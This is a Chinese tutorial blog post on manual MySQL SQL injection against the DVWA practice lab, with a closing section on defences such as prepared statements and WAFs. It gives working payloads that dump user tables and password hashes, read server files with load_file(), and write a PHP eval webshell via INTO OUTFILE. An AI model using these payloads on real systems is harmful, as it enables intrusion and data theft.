注入之mysql数据库(手工注入)

1.mysql4与5区别

 MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
    MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。通过dumpfile/outfile函数导出获取WebShell。
    高版本information_schema库可以获取任意表名,字段名,低版本只能拆解表名和字段名,高版本函数和功能更加强大,information_schema是默认库。

2.mysql用户名密码存储位置
  

        数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。 

3.mysql注入语句(手工注入) 

  •  进入dvwa 

    选择低版

  • 一些基本语句

    检查注入点'   与and 1=1 and 1=2
    'order by 1,2--+&Submit=Submit#
        1,2是正常

要加一个单引号,不然不报错

 'union select user(),version()--+&Submit=Submit#     查看数据库用户名和版本、库名(dvwa)

  'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit   获取mysql所有库
        数据库

 所有数据库

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit   获取dwva表名

  在图形化界面里面: information_schema数据库的table 表里的table_schema等于dvwa

 'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit   
 获取所有user表里面的字段
table_name=0x7573657273   不转成十六进制也可以table_name="users"

 将字段解密

 union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit    获取所有字段内容users表为dvwa的表


表里的数据 

  • 对服务器文件进行读写操作(前提条件)

1.要知道远程web目录
2.需要mysql root权限
3.需要远程目录有写权限
4.需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件) 

  • 获取web路径的方法 

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  路径记得转化为十六进制
IIS所有文件的路径

 复制 一下

ctrl+F 

  • 服务器读取文件

    union%20select%201,load_file(%27c:\\boot.ini%27)+--+

去掉这个勾

  •  写webshell获取权限

union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\\phpstudy\\www\\123.php"+--+&Submit=Submit    一句话木马 

菜刀 添加

 双击进入对方电脑

 4.注入防御
  

  • 函数过滤

         将文件名改为函数

  • 直接下载相关的防范注入文件,通过incloud包含放在网站配置文件里面

         将这个文件放入虚拟机里面

         将waf放入

   在这个文件里加上这句话

 显示这个页面


 waf 没有IUSR权限

 输入and 1=1

  •     PDO预处理

从PHP 5.1开始,PHP可以通过PDO的prepare预处理函数执行sql语句
具体使用语法:http://www.php.cn/course/868.html
    

    没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。 

  •     使用白名单来规范化输入验证方法

  •     使用 Waf 拦截

5.二次注入

本身没有漏洞,使用不安全的函数构造出一个单引号 

              

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值